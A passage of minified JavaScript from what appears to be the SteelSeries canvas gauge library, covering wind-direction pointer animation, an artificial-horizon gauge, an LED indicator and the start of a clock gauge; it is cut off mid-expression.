this.setValueAverage = function (newValue) { // Actually need to handle 0-360 rather than 0-359 // 1-360 are used for directions // 0 is used as a special case to indicate 'calm' newValue = parseFloat(newValue); newValue = newValue === 360 ? 360 : newValue % 360; if (valueAverage !== newValue) { valueAverage = newValue; this.repaint(); } return this; }; this.getValueAverage = function () { return valueAverage; }; this.setValueAnimatedLatest = function (newValue, callback) { var targetValue, gauge = this, diff, time; // Actually need to handle 0-360 rather than 0-359 // 1-360 are used for directions // 0 is used as a special case to indicate 'calm' newValue = parseFloat(newValue); targetValue = (newValue === 360 ? 360 : newValue % 360); if (valueLatest !== targetValue) { if (undefined !== tweenLatest && tweenLatest.isPlaying) { tweenLatest.stop(); } diff = getShortestAngle(valueLatest, targetValue); if (diff !== 0) { // 360 - 0 is a diff of zero time = fullScaleDeflectionTime * Math.abs(diff) / 180; time = Math.max(time, fullScaleDeflectionTime / 5); tweenLatest = new Tween({}, '', Tween.regularEaseInOut, valueLatest, valueLatest + diff, time); tweenLatest.onMotionChanged = function (event) { valueLatest = event.target._pos === 360 ? 360 : event.target._pos % 360; if (!repainting) { repainting = true; requestAnimFrame(gauge.repaint); } }; tweenLatest.onMotionFinished = function () { valueLatest = targetValue; if (!repainting) { repainting = true; requestAnimFrame(gauge.repaint); } // do we have a callback function to process? if (callback && typeof(callback) === "function") { callback(); } }; tweenLatest.start(); } else { // target different from current, but diff is zero (0 -> 360 for instance), so just repaint valueLatest = targetValue; if (!repainting) { repainting = true; requestAnimFrame(gauge.repaint); } } } return this; }; this.setValueAnimatedAverage = function (newValue, callback) { var targetValue, gauge = this, diff, time; // Actually need to handle 0-360 rather than 0-359 // 1-360 are used for directions // 0 is used as a special case to indicate 'calm' newValue = parseFloat(newValue); targetValue = (newValue === 360 ? 360 : newValue % 360); if (valueAverage !== newValue) { if (undefined !== tweenAverage && tweenAverage.isPlaying) { tweenAverage.stop(); } diff = getShortestAngle(valueAverage, targetValue); if (diff !== 0) { // 360 - 0 is a diff of zero time = fullScaleDeflectionTime * Math.abs(diff) / 180; time = Math.max(time, fullScaleDeflectionTime / 5); tweenAverage = new Tween({}, '', Tween.regularEaseInOut, valueAverage, valueAverage + diff, time); tweenAverage.onMotionChanged = function (event) { valueAverage = event.target._pos === 360 ? 360 : event.target._pos % 360; if (!repainting) { repainting = true; requestAnimFrame(gauge.repaint); } }; tweenAverage.onMotionFinished = function () { valueAverage = targetValue; if (!repainting) { repainting = true; requestAnimFrame(gauge.repaint); } // do we have a callback function to process? if (callback && typeof(callback) === "function") { callback(); } }; tweenAverage.start(); } else { // target different from current, but diff is zero (0 -> 360 for instance), so just repaint valueAverage = targetValue; if (!repainting) { repainting = true; requestAnimFrame(gauge.repaint); } } } return this; }; this.setArea = function (areaVal) { area = areaVal; resetBuffers({background: true}); init({background: true}); this.repaint(); return this; }; this.setSection = function (areaSec) { section = areaSec; resetBuffers({background: true}); init({background: true}); this.repaint(); return this; }; this.setFrameDesign = function (newFrameDesign) { frameDesign = newFrameDesign; resetBuffers({background: true}); init({background: true}); this.repaint(); return this; }; this.setBackgroundColor = function (newBackgroundColor) { backgroundColor = newBackgroundColor; resetBuffers({background: true}); init({background: true}); this.repaint(); return this; }; this.setForegroundType = function (newForegroundType) { resetBuffers({foreground: true}); foregroundType = newForegroundType; init({foreground: true}); this.repaint(); return this; }; this.setPointerColor = function (newPointerColor) { resetBuffers({pointer: true}); pointerColor = newPointerColor; init({pointer: true}); this.repaint(); return this; }; this.setPointerColorAverage = function (newPointerColor) { resetBuffers({pointer: true}); pointerColorAverage = newPointerColor; init({pointer: true}); this.repaint(); return this; }; this.setPointerType = function (newPointerType) { pointerTypeLatest = newPointerType; resetBuffers({pointer: true, foreground: true }); init({pointer: true, foreground: true }); this.repaint(); return this; }; this.setPointerTypeAverage = function (newPointerType) { pointerTypeAverage = newPointerType; resetBuffers({pointer: true, foreground: true }); init({pointer: true, foreground: true }); this.repaint(); return this; }; this.setPointSymbols = function (newPointSymbols) { pointSymbols = newPointSymbols; resetBuffers({background: true}); init({background: true}); this.repaint(); return this; }; this.setLcdColor = function (newLcdColor) { lcdColor = newLcdColor; resetBuffers({background: true}); init({background: true}); this.repaint(); return this; }; this.setLcdTitleStrings = function (titles) { lcdTitleStrings = titles; resetBuffers({background: true}); init({background: true}); this.repaint(); return this; }; this.repaint = function () { if (!initialized) { init({frame: true, background: true, led: true, pointer: true, foreground: true}); } mainCtx.clearRect(0, 0, mainCtx.canvas.width, mainCtx.canvas.height); if (frameVisible || backgroundVisible) { mainCtx.drawImage(backgroundBuffer, 0, 0); } // Draw lcd display if (lcdVisible) { drawLcdText(valueLatest, true); drawLcdText(valueAverage, false); } // Define rotation angle angleAverage = valueAverage * angleStep; // we have to draw to a rotated temporary image area so we can translate in // absolute x, y values when drawing to main context var shadowOffset = imageWidth * 0.006; // Define rotation center mainCtx.save(); mainCtx.translate(centerX, centerY); mainCtx.rotate(angleAverage); mainCtx.translate(-centerX, -centerY); // Set the pointer shadow params mainCtx.shadowColor = 'rgba(0, 0, 0, 0.8)'; mainCtx.shadowOffsetX = mainCtx.shadowOffsetY = shadowOffset; mainCtx.shadowBlur = shadowOffset * 2; // Draw the pointer mainCtx.drawImage(pointerBufferAverage, 0, 0); // Define rotation angle difference for average pointer angleLatest = valueLatest * angleStep - angleAverage; mainCtx.translate(centerX, centerY); mainCtx.rotate(angleLatest); mainCtx.translate(-centerX, -centerY); mainCtx.drawImage(pointerBufferLatest, 0, 0); mainCtx.restore(); if (foregroundVisible) { mainCtx.drawImage(foregroundBuffer, 0, 0); } repainting = false; }; // Visualize the component this.repaint(); return this; }; var horizon = function (canvas, parameters) { parameters = parameters || {}; var size = (undefined === parameters.size ? 0 : parameters.size), frameDesign = (undefined === parameters.frameDesign ? steelseries.FrameDesign.METAL : parameters.frameDesign), frameVisible = (undefined === parameters.frameVisible ? true : parameters.frameVisible), foregroundType = (undefined === parameters.foregroundType ? steelseries.ForegroundType.TYPE1 : parameters.foregroundType), foregroundVisible = (undefined === parameters.foregroundVisible ? true : parameters.foregroundVisible), pointerColor = (undefined === parameters.pointerColor ? steelseries.ColorDef.WHITE : parameters.pointerColor); var tweenRoll; var tweenPitch; var repainting = false; var roll = 0; var pitch = 0; var pitchPixel = (PI * size) / 360; var pitchOffset = 0; var upsidedown = false; // Get the canvas context and clear it var mainCtx = getCanvasContext(canvas); // Has a size been specified? if (size === 0) { size = Math.min(mainCtx.canvas.width, mainCtx.canvas.height); } // Set the size - also clears the canvas mainCtx.canvas.width = size; mainCtx.canvas.height = size; var imageWidth = size; var imageHeight = size; var centerX = imageWidth / 2; var centerY = imageHeight / 2; var initialized = false; // ************** Buffer creation ******************** // Buffer for all static background painting code var backgroundBuffer = createBuffer(size, size); var backgroundContext = backgroundBuffer.getContext('2d'); // Buffer for pointer image painting code var valueBuffer = createBuffer(size, size * PI); var valueContext = valueBuffer.getContext('2d'); // Buffer for indicator painting code var indicatorBuffer = createBuffer(size * 0.037383, size * 0.056074); var indicatorContext = indicatorBuffer.getContext('2d'); // Buffer for static foreground painting code var foregroundBuffer = createBuffer(size, size); var foregroundContext = foregroundBuffer.getContext('2d'); // ************** Image creation ******************** var drawHorizonBackgroundImage = function (ctx) { ctx.save(); var imgWidth = size; var imgHeight = size * PI; var y; // HORIZON ctx.beginPath(); ctx.rect(0, 0, imgWidth, imgHeight); ctx.closePath(); var HORIZON_GRADIENT = ctx.createLinearGradient(0, 0, 0, imgHeight); HORIZON_GRADIENT.addColorStop(0, '#7fd5f0'); HORIZON_GRADIENT.addColorStop(0.5, '#7fd5f0'); HORIZON_GRADIENT.addColorStop(0.5, '#3c4439'); HORIZON_GRADIENT.addColorStop(1, '#3c4439'); ctx.fillStyle = HORIZON_GRADIENT; ctx.fill(); ctx.lineWidth = 1; var stepSizeY = imgHeight / 360 * 5; var stepTen = false; var step = 10; ctx.textAlign = 'center'; ctx.textBaseline = 'middle'; var fontSize = imgWidth * 0.04; ctx.font = fontSize + 'px ' + stdFontName; ctx.fillStyle = '#37596e'; for (y = imgHeight / 2 - stepSizeY; y > 0; y -= stepSizeY) { if (step <= 90) { if (stepTen) { ctx.fillText(step, (imgWidth - (imgWidth * 0.2)) / 2 - 8, y, imgWidth * 0.375); ctx.fillText(step, imgWidth - (imgWidth - (imgWidth * 0.2)) / 2 + 8, y, imgWidth * 0.375); ctx.beginPath(); ctx.moveTo((imgWidth - (imgWidth * 0.2)) / 2, y); ctx.lineTo(imgWidth - (imgWidth - (imgWidth * 0.2)) / 2, y); ctx.closePath(); step += 10; } else { ctx.beginPath(); ctx.moveTo((imgWidth - (imgWidth * 0.1)) / 2, y); ctx.lineTo(imgWidth - (imgWidth - (imgWidth * 0.1)) / 2, y); ctx.closePath(); } ctx.stroke(); } stepTen ^= true; } stepTen = false; step = 10; ctx.strokeStyle = '#FFFFFF'; ctx.lineWidth = 1.5; ctx.beginPath(); ctx.moveTo(0, imgHeight / 2); ctx.lineTo(imgWidth, imgHeight / 2); ctx.closePath(); ctx.stroke(); ctx.fillStyle = '#FFFFFF'; ctx.lineWidth = 1; for (y = imgHeight / 2 + stepSizeY; y <= imgHeight; y += stepSizeY) { if (step <= 90) { if (stepTen) { ctx.fillText(-step, (imgWidth - (imgWidth * 0.2)) / 2 - 8, y, imgWidth * 0.375); ctx.fillText(-step, imgWidth - (imgWidth - (imgWidth * 0.2)) / 2 + 8, y, imgWidth * 0.375); ctx.beginPath(); ctx.moveTo((imgWidth - (imgWidth * 0.2)) / 2, y); ctx.lineTo(imgWidth - (imgWidth - (imgWidth * 0.2)) / 2, y); ctx.closePath(); step += 10; } else { ctx.beginPath(); ctx.moveTo((imgWidth - (imgWidth * 0.1)) / 2, y); ctx.lineTo(imgWidth - (imgWidth - (imgWidth * 0.1)) / 2, y); ctx.closePath(); } ctx.stroke(); } stepTen ^= true; } ctx.restore(); }; var drawHorizonForegroundImage = function (ctx) { ctx.save(); ctx.fillStyle = pointerColor.light.getRgbaColor(); // CENTERINDICATOR ctx.beginPath(); ctx.moveTo(imageWidth * 0.476635, imageHeight * 0.5); ctx.bezierCurveTo(imageWidth * 0.476635, imageHeight * 0.514018, imageWidth * 0.485981, imageHeight * 0.523364, imageWidth * 0.5, imageHeight * 0.523364); ctx.bezierCurveTo(imageWidth * 0.514018, imageHeight * 0.523364, imageWidth * 0.523364, imageHeight * 0.514018, imageWidth * 0.523364, imageHeight * 0.5); ctx.bezierCurveTo(imageWidth * 0.523364, imageHeight * 0.485981, imageWidth * 0.514018, imageHeight * 0.476635, imageWidth * 0.5, imageHeight * 0.476635); ctx.bezierCurveTo(imageWidth * 0.485981, imageHeight * 0.476635, imageWidth * 0.476635, imageHeight * 0.485981, imageWidth * 0.476635, imageHeight * 0.5); ctx.closePath(); ctx.moveTo(imageWidth * 0.415887, imageHeight * 0.504672); ctx.lineTo(imageWidth * 0.415887, imageHeight * 0.495327); ctx.bezierCurveTo(imageWidth * 0.415887, imageHeight * 0.495327, imageWidth * 0.467289, imageHeight * 0.495327, imageWidth * 0.467289, imageHeight * 0.495327); ctx.bezierCurveTo(imageWidth * 0.471962, imageHeight * 0.481308, imageWidth * 0.481308, imageHeight * 0.471962, imageWidth * 0.495327, imageHeight * 0.467289); ctx.bezierCurveTo(imageWidth * 0.495327, imageHeight * 0.467289, imageWidth * 0.495327, imageHeight * 0.415887, imageWidth * 0.495327, imageHeight * 0.415887); ctx.lineTo(imageWidth * 0.504672, imageHeight * 0.415887); ctx.bezierCurveTo(imageWidth * 0.504672, imageHeight * 0.415887, imageWidth * 0.504672, imageHeight * 0.467289, imageWidth * 0.504672, imageHeight * 0.467289); ctx.bezierCurveTo(imageWidth * 0.518691, imageHeight * 0.471962, imageWidth * 0.528037, imageHeight * 0.481308, imageWidth * 0.532710, imageHeight * 0.495327); ctx.bezierCurveTo(imageWidth * 0.532710, imageHeight * 0.495327, imageWidth * 0.584112, imageHeight * 0.495327, imageWidth * 0.584112, imageHeight * 0.495327); ctx.lineTo(imageWidth * 0.584112, imageHeight * 0.504672); ctx.bezierCurveTo(imageWidth * 0.584112, imageHeight * 0.504672, imageWidth * 0.532710, imageHeight * 0.504672, imageWidth * 0.532710, imageHeight * 0.504672); ctx.bezierCurveTo(imageWidth * 0.528037, imageHeight * 0.518691, imageWidth * 0.518691, imageHeight * 0.532710, imageWidth * 0.5, imageHeight * 0.532710); ctx.bezierCurveTo(imageWidth * 0.481308, imageHeight * 0.532710, imageWidth * 0.471962, imageHeight * 0.518691, imageWidth * 0.467289, imageHeight * 0.504672); ctx.bezierCurveTo(imageWidth * 0.467289, imageHeight * 0.504672, imageWidth * 0.415887, imageHeight * 0.504672, imageWidth * 0.415887, imageHeight * 0.504672); ctx.closePath(); ctx.fill(); // Tickmarks var step = 5; var stepRad = 5 * RAD_FACTOR; ctx.translate(centerX, centerY); ctx.rotate(-HALF_PI); ctx.translate(-centerX, -centerY); var angle; for (angle = -90; angle <= 90; angle += step) { if (angle % 45 === 0 || angle === 0) { ctx.strokeStyle = pointerColor.medium.getRgbaColor(); ctx.lineWidth = 2; ctx.beginPath(); ctx.moveTo(imageWidth * 0.5, imageHeight * 0.088785); ctx.lineTo(imageWidth * 0.5, imageHeight * 0.113); ctx.closePath(); ctx.stroke(); } else if (angle % 15 === 0) { ctx.strokeStyle = '#FFFFFF'; ctx.lineWidth = 1; ctx.beginPath(); ctx.moveTo(imageWidth * 0.5, imageHeight * 0.088785); ctx.lineTo(imageWidth * 0.5, imageHeight * 0.103785); ctx.closePath(); ctx.stroke(); } else { ctx.strokeStyle = '#FFFFFF'; ctx.lineWidth = 0.5; ctx.beginPath(); ctx.moveTo(imageWidth * 0.5, imageHeight * 0.088785); ctx.lineTo(imageWidth * 0.5, imageHeight * 0.093785); ctx.closePath(); ctx.stroke(); } ctx.translate(centerX, centerY); ctx.rotate(stepRad, centerX, centerY); ctx.translate(-centerX, -centerY); } ctx.restore(); }; var drawIndicatorImage = function (ctx) { ctx.save(); var imgWidth = imageWidth * 0.037383; var imgHeight = imageHeight * 0.056074; ctx.beginPath(); ctx.moveTo(imgWidth * 0.5, 0); ctx.lineTo(0, imgHeight); ctx.lineTo(imgWidth, imgHeight); ctx.closePath(); ctx.fillStyle = pointerColor.light.getRgbaColor(); ctx.fill(); ctx.strokeStyle = pointerColor.medium.getRgbaColor(); ctx.stroke(); ctx.restore(); }; // ************** Initialization ******************** // Draw all static painting code to background var init = function () { initialized = true; if (frameVisible) { drawRadialFrameImage(backgroundContext, frameDesign, centerX, centerY, imageWidth, imageHeight); } drawHorizonBackgroundImage(valueContext); drawIndicatorImage(indicatorContext); drawHorizonForegroundImage(foregroundContext); if (foregroundVisible) { drawRadialForegroundImage(foregroundContext, foregroundType, imageWidth, imageHeight, true, knobType, knobStyle, gaugeType); } }; var resetBuffers = function () { // Buffer for all static background painting code backgroundBuffer.width = size; backgroundBuffer.height = size; backgroundContext = backgroundBuffer.getContext('2d'); // Buffer for pointer image painting code valueBuffer.width = size; valueBuffer.height = size * PI; valueContext = valueBuffer.getContext('2d'); // Buffer for the indicator indicatorBuffer.width = size * 0.037383; indicatorBuffer.height = size * 0.056074; indicatorContext = indicatorBuffer.getContext('2d'); // Buffer for static foreground painting code foregroundBuffer.width = size; foregroundBuffer.height = size; foregroundContext = foregroundBuffer.getContext('2d'); }; //************************************ Public methods ************************************** this.setRoll = function (newRoll) { newRoll = parseFloat(newRoll) % 360; if (roll !== newRoll) { roll = newRoll; this.repaint(); } return this; }; this.getRoll = function () { return roll; }; this.setRollAnimated = function (newRoll, callback) { var gauge = this; newRoll = parseFloat(newRoll) % 360; if (roll !== newRoll) { if (undefined !== tweenRoll && tweenRoll.isPlaying) { tweenRoll.stop(); } tweenRoll = new Tween({}, '', Tween.regularEaseInOut, roll, newRoll, 1); tweenRoll.onMotionChanged = function (event) { roll = event.target._pos; if (!repainting) { repainting = true; requestAnimFrame(gauge.repaint); } }; // do we have a callback function to process? if (callback && typeof(callback) === "function") { tweenRoll.onMotionFinished = callback; } tweenRoll.start(); } return this; }; this.setPitch = function (newPitch) { // constrain to range -180..180 // normal range -90..90 and -180..-90/90..180 indicate inverted newPitch = ((parseFloat(newPitch) + 180 - pitchOffset) % 360) - 180; //pitch = -(newPitch + pitchOffset) % 180; if (pitch !== newPitch) { pitch = newPitch; if (pitch > 90) { pitch = 90 - (pitch - 90); if (!upsidedown) { this.setRoll(roll - 180); } upsidedown = true; } else if (pitch < -90) { pitch = -90 + (-90 - pitch); if (!upsidedown) { this.setRoll(roll + 180); } upsidedown = true; } else { upsidedown = false; } this.repaint(); } return this; }; this.getPitch = function () { return pitch; }; this.setPitchAnimated = function (newPitch, callback) { var gauge = this; newPitch = parseFloat(newPitch); // perform all range checking in setPitch() if (pitch !== newPitch) { if (undefined !== tweenPitch && tweenPitch.isPlaying) { tweenPitch.stop(); } tweenPitch = new Tween({}, '', Tween.regularEaseInOut, pitch, newPitch, 1); tweenPitch.onMotionChanged = function (event) { pitch = event.target._pos; if (pitch > 90) { pitch = 90 - (pitch - 90); if (!upsidedown) { this.setRoll(roll - 180); } upsidedown = true; } else if (pitch < -90) { pitch = -90 + (-90 - pitch); if (!upsidedown) { this.setRoll(roll + 180); } upsidedown = true; } else { upsidedown = false; } if (!repainting) { repainting = true; requestAnimFrame(gauge.repaint); } gauge.setPitch(event.target._pos); }; // do we have a callback function to process? if (callback && typeof(callback) === "function") { tweenPitch.onMotionFinished = callback; } tweenPitch.start(); } return this; }; this.setPitchOffset = function (newPitchOffset) { pitchOffset = parseFloat(newPitchOffset); this.repaint(); return this; }; this.setFrameDesign = function (newFrameDesign) { resetBuffers(); frameDesign = newFrameDesign; init(); this.repaint(); return this; }; this.setForegroundType = function (newForegroundType) { resetBuffers(); foregroundType = newForegroundType; init(); this.repaint(); return this; }; this.repaint = function () { if (!initialized) { init(); } mainCtx.save(); mainCtx.clearRect(0, 0, mainCtx.canvas.width, mainCtx.canvas.height); mainCtx.drawImage(backgroundBuffer, 0, 0); mainCtx.save(); // Set the clipping area mainCtx.beginPath(); mainCtx.arc(centerX, centerY, imageWidth * 0.831775 / 2, 0, TWO_PI, true); mainCtx.closePath(); mainCtx.clip(); // Rotate around roll mainCtx.translate(centerX, centerY); mainCtx.rotate(-(roll * RAD_FACTOR)); mainCtx.translate(-centerX, 0); // Translate about dive mainCtx.translate(0, (pitch * pitchPixel)); // Draw horizon mainCtx.drawImage(valueBuffer, 0, -valueBuffer.height / 2); // Draw the scale and angle indicator mainCtx.translate(0, -(pitch * pitchPixel) - centerY); mainCtx.drawImage(indicatorBuffer, (imageWidth * 0.5 - indicatorBuffer.width / 2), (imageWidth * 0.107476)); mainCtx.restore(); mainCtx.drawImage(foregroundBuffer, 0, 0); mainCtx.restore(); }; // Visualize the component this.repaint(); return this; }; var led = function (canvas, parameters) { parameters = parameters || {}; var size = (undefined === parameters.size ? 0 : parameters.size), ledColor = (undefined === parameters.ledColor ? steelseries.LedColor.RED_LED : parameters.ledColor); var ledBlinking = false; var ledTimerId = 0; // Get the canvas context and clear it var mainCtx = getCanvasContext(canvas); // Has a size been specified? if (size === 0) { size = Math.min(mainCtx.canvas.width, mainCtx.canvas.height); } // Set the size - also clears the canvas mainCtx.canvas.width = size; mainCtx.canvas.height = size; var initialized = false; // Buffer for led on painting code var ledBufferOn = doc.createElement('canvas'); ledBufferOn.width = size; ledBufferOn.height = size; var ledContextOn = ledBufferOn.getContext('2d'); // Buffer for led off painting code var ledBufferOff = doc.createElement('canvas'); ledBufferOff.width = size; ledBufferOff.height = size; var ledContextOff = ledBufferOff.getContext('2d'); // Buffer for current led painting code var ledBuffer = ledBufferOff; var init = function () { initialized = true; // Draw LED ON in ledBuffer_ON ledContextOn.clearRect(0, 0, ledContextOn.canvas.width, ledContextOn.canvas.height); ledContextOn.drawImage(createLedImage(size, 1, ledColor), 0, 0); // Draw LED ON in ledBuffer_OFF ledContextOff.clearRect(0, 0, ledContextOff.canvas.width, ledContextOff.canvas.height); ledContextOff.drawImage(createLedImage(size, 0, ledColor), 0, 0); }; this.toggleLed = function () { if (ledBuffer === ledBufferOn) { ledBuffer = ledBufferOff; } else { ledBuffer = ledBufferOn; } repaint(); return this; }; this.setLedColor = function (newColor) { ledColor = newColor; initialized = false; repaint(); return this; }; this.setLedOnOff = function (on) { if (!!on) { ledBuffer = ledBufferOn; } else { ledBuffer = ledBufferOff; } repaint(); return this; }; this.blink = function (blink) { if (!!blink) { if (!ledBlinking) { ledTimerId = setInterval(this.toggleLed, 1000); ledBlinking = true; } } else { if (ledBlinking) { clearInterval(ledTimerId); ledBlinking = false; ledBuffer = ledBufferOff; } } return this; }; var repaint = function () { if (!initialized) { init(); } mainCtx.save(); mainCtx.clearRect(0, 0, mainCtx.canvas.width, mainCtx.canvas.height); mainCtx.drawImage(ledBuffer, 0, 0); mainCtx.restore(); }; repaint(); return this; }; var clock = function (canvas, parameters) { parameters = parameters || {}; var size = (undefined === parameters.size ? 0 : parameters.size), frameDesign = (undefined === parameters.frameDesign ? steelseries.FrameDesign.METAL : parameters.frameDesign), frameVisible = (undefined === parameters.frameVisible ? true : parameters.frameVisible), pointerType = (undefined === parameters.pointerType ? steelseries.PointerType.TYPE1 : parameters.pointerType), pointerColor = (undefined === parameters.pointerColor ? (pointerType === steelseries.PointerType.TYPE1 ? steelseries.ColorDef.GRAY : steelseries.ColorDef.BLACK) : parameters.pointerColor), backgroundColor = (undefined === parameters.backgroundColor ? (pointerType === steelseries.PointerType.TYPE1 ? steelseries.BackgroundColor.ANTHRACITE : steelseries.BackgroundColor.LIGHT_GRAY) : parameters.backgroundColor), backgroundVisible = (undefined === parameters.backgroundVisible ? true : parameters.backgroundVisible), foregroundType = (undefined === parameters.foregroundType ? steelseries.ForegroundType.TYPE1 : parameters.foregroundType), foregroundVisible = (undefined === parameters.foregroundVisible ? true : parameters.foregroundVisible), customLayer = (undefined === parameters.customLayer ? null : parameters.customLayer), isAutomatic = (undefined === parameters.isAutomatic ? true : parameters.isAutomatic), hour = (undefined === parameters.hour ? 11 : parameters.hour), minute = (undefined === parameters.minute ? 5 : parameters.minute), second = (undefined === parameters.second ? 0 : parameters.second), secondMovesContinuous = (undefined === parameters.secondMovesContinuous ? false : parameters.secondMovesContinuous), timeZoneOffsetHour = (undefined === parameters.timeZoneOffsetHour ? 0 : parameters.timeZoneOffsetHour), timeZoneOffsetMinute = (undefined === parameters.timeZoneOffsetMinute ? 0 : parameters.timeZoneOffsetMinute), secondPointerVisible = (undefined === parameters.secondPointerVisible ? true : parameters.secondPointerVisible); // GaugeType specific private variables var objDate = new Date(); var minutePointerAngle; var hourPointerAngle; var secondPointerAngle; var tickTimer; var tickInterval = (secondMovesContinuous ? 100 : 1000); tickInterval = (secondPointerVisible ? tickInterval : 100); var self = this; // Constants var ANGLE_STEP = 6; // Get the canvas context and clear it var mainCtx = getCanvasContext(canvas); // Has a size been specified? if (size === 0) { size = Math.min(mainCtx.canvas.width, mainCtx.canvas.height); } // Set the size - also clears the canvas mainCtx.canvas.width = size; mainCtx.canvas.height = size; var imageWidth = size; var imageHeight = size; var centerX = imageWidth / 2; var centerY = imageHeight / 2; var initialized = false; // Buffer for the frame var frameBuffer = createBuffer(size, size); var frameContext = frameBuffer.getContext('2d'); // Buffer for static background painting code var backgroundBuffer = createBuffer(size, size); var backgroundContext = backgroundBuffer.getContext('2d'); // Buffer for hour pointer image painting code var hourBuffer = createBuffer(size, size); var hourContext = hourBuffer.getContext('2d'); // Buffer for minute pointer image painting code var minuteBuffer = createBuffer(size, size); var minuteContext = minuteBuffer.getContext('2d'); // Buffer for second pointer image painting code var secondBuffer = createBuffer(size, size); var secondContext = secondBuffer.getContext('2d'); // Buffer for static foreground painting code var foregroundBuffer = createBuffer(size, size); var foregroundContext = foregroundBuffer.getContext('2d'); var drawTickmarksImage = function (ctx, ptrType) { var tickAngle; var SMALL_TICK_HEIGHT; var BIG_TICK_HEIGHT; var OUTER_POINT, INNER_POINT; OUTER_POINT = imageWidth * 0.405; ctx.save(); ctx.translate(centerX, centerY); switch (ptrType.type) { case 'type1': // Draw minutes tickmarks SMALL_TICK_HEIGHT = imageWidth * 0.074766; INNER_POINT = OUTER_POINT - SMALL_TICK_HEIGHT; ctx.strokeStyle = backgroundColor.labelColor.getRgbaColor(); ctx.lineWidth = imageWidth * 0.014018; for (tickAngle = 0; tickAngle < 360; tickAngle += 30) { ctx.beginPath(); ctx.moveTo(OUTER_POINT, 0); ctx.lineTo(INNER_POINT, 0); ctx.closePath(); ctx.stroke(); ctx.rotate(30 * RAD_FACTOR); } // Draw hours tickmarks BIG_TICK_HEIGHT = imageWidth * 0.126168; INNER_POINT = OUTER_POINT - BIG_TICK_HEIGHT; ctx.lineWidth = imageWidth * 0.032710; for (tickAngle = 0; tickAngle < 360; tickAngle += 90) { ctx.beginPath(); ctx.moveTo(OUTER_POINT, 0); ctx.lineTo(INNER_POINT, 0); ctx.closePath(); ctx.stroke(); ctx.rotate(90 * RAD_FACTOR); } break; case 'type2': /* falls through */ default: // Draw minutes tickmarks SMALL_TICK_HEIGHT = imageWidth * 0.037383; INNER_POINT = OUTER_POINT - SMALL_TICK_HEIGHT; ctx.strokeStyle = backgroundColor.labelColor.getRgbaColor(); ctx.lineWidth = imageWidth * 0.009345; for (tickAngle = 0; tickAngle < 360; tickAngle += 6) { ctx.beginPath(); ctx.moveTo(OUTER_POINT, 0); ctx.lineTo(INNER_POINT, 0); ctx.closePath(); ctx.stroke(); ctx.rotate(6 * RAD_FACTOR); } // Draw hours tickmarks BIG_TICK_HEIGHT = imageWidth * 0.084112; INNER_POINT = OUTER_POINT - BIG_TICK_HEIGHT; ctx.lineWidth = imageWidth * 0.028037; for (tickAngle = 0; tickAngle < 360; tickAngle += 30) { ctx.beginPath(); ctx.moveTo(OUTER_POINT, 0); ctx.lineTo(INNER_POINT, 0); ctx.closePath(); ctx.stroke(); ctx.rotate(30 * RAD_FACTOR); } break; } ctx.translate(-centerX, -centerY); ctx.restore(); }; var drawHourPointer = function (ctx, ptrType) { ctx.save(); var grad; switch (ptrType.type) { case 'type2': ctx.beginPath(); ctx.lineWidth = imageWidth * 0.046728; ctx.moveTo(centerX, imageWidth * 0.289719); ctx.lineTo(centerX, imageWidth * 0.289719 + imageWidth * 0.224299); ctx.strokeStyle = pointerColor.medium.getRgbaColor(); ctx.closePath(); ctx.stroke(); break; case 'type1': /* falls through */ default: ctx.beginPath(); ctx.moveTo(imageWidth * 0.471962, imageHeight * 0.560747); ctx.lineTo(imageWidth * 0.471962, imageHeight * 0.214953); ctx.lineTo(imageWidth * 0.5, imageHeight * 0.182242); ctx.lineTo(imageWidth * 0.528037, imageHeight * 0.214953); ctx.lineTo(imageWidth * 0.528037, imageHeight * 0.560747); ctx.lineTo(imageWidth * 0.471962, imageHeight * 0.560747); ctx.closePath(); grad = ctx.createLinearGradient(imageWidth * 0.471962, imageHeight * 0.560747, imageWidth * 0.528037, imageHeight * 0.214953); grad.addColorStop(1, pointerColor.veryLight.getRgbaColor()); grad.addColorStop(0, pointerColor.light.getRgbaColor()); ctx.fillStyle = grad; ctx.strokeStyle = pointerColor.light.getRgbaColor(); ctx.fill(); ctx.stroke(); break; } ctx.restore(); }; var drawMinutePointer = function (ctx, ptrType) { ctx.save(); var grad; switch (ptrType.type) { case 'type2': ctx.beginPath(); ctx.lineWidth = imageWidth * 0.032710; ctx.moveTo(centerX, imageWidth * 0.116822); ctx.lineTo(centerX, imageWidth * 0.116822 + imageWidth * 0.387850); ctx.strokeStyle = pointerColor.medium.getRgbaColor(); ctx.closePath(); ctx.stroke(); break; case 'type1': /* falls through */ default: ctx.beginPath(); ctx.moveTo(imageWidth * 0.518691, imageHeight * 0.574766); ctx.lineTo(imageWidth * 0.523364, imageHeight * 0.135514); ctx.lineTo(imageWidth * 0.5, imageHeight * 0.107476); ctx.lineTo(imageWidth * 0.476635, imageHeight * 0.140186); ctx.lineTo(imageWidth * 0.476635, imageHeight * 0.574766); ctx.lineTo(imageWidth * 0.518691, imageHeight * 0.574766); ctx.closePath(); grad = ctx.createLinearGradient(imageWidth * 0.518691, imageHeight * 0.574766, imageWidth * 0.476635, imageHeight * 0.140186); grad.addColorStop(1, pointerColor.veryLight.getRgbaColor()); grad.addColorStop(0, pointerColor.light.getRgbaColor()); ctx.fillStyle = grad; ctx.strokeStyle = pointerColor.light.getRgbaColor(); ctx.fill(); ctx.stroke(); break; } ctx.restore(); }; var drawSecondPointer = function (ctx, ptrType) { ctx.save(); var grad; switch (ptrType.type) { case 'type2': // top rectangle ctx.lineWidth = imageWidth * 0.009345; ctx.beginPath(); ctx.moveTo(centerX, imageWidth * 0.098130); ctx.lineTo(centerX, imageWidth * 0.098130 + imageWidth * 0.126168); ctx.closePath(); ctx.stroke(); // bottom rectangle ctx.lineWidth = imageWidth * 0.018691; ctx.beginPath(); ctx.moveTo(centerX, imageWidth * 0.308411); ctx.lineTo(centerX, imageWidth * 0.308411 + imageWidth * 0.191588); ctx.closePath(); ctx.stroke(); // circle ctx.lineWidth = imageWidth * 0.016; ctx.beginPath(); ctx.arc(centerX, imageWidth * 0.26, imageWidth * 0.085 / 2, 0, TWO_PI); ctx.closePath(); ctx.stroke(); break; case 'type1': /* falls through */ default: ctx.beginPath(); ctx.moveTo(imageWidth * 0.509345, imageHeight * 0.116822); ctx.lineTo(imageWidth * 0.509345, imageHeight * 0.574766); ctx.lineTo(imageWidth * 0.490654, imageHeight * 0.574766); ctx.lineTo(imageWidth * 0.490654, imageHeight * 0.116822); ctx.lineTo(imageWidth * 0.509345, imageHeight * 0.116822); ctx.closePath(); grad = ctx.createLinearGradient(imageWidth * 0.509345, imageHeight 